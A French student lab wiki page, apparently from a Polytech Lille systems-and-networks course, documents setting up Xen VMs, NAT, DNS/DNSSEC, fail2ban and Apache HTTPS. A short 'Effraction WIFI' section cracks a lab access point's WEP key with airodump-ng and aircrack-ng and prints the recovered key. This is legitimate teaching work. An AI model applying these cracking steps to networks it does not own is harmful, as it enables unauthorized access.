root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;identifier l&#039;interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d&#039;identifier l&#039;adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l&#039;adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s&#039;arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s&#039;arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12144</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12144"/>
		<updated>2026-02-10T14:22:15Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : /* Effraction WIFI */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
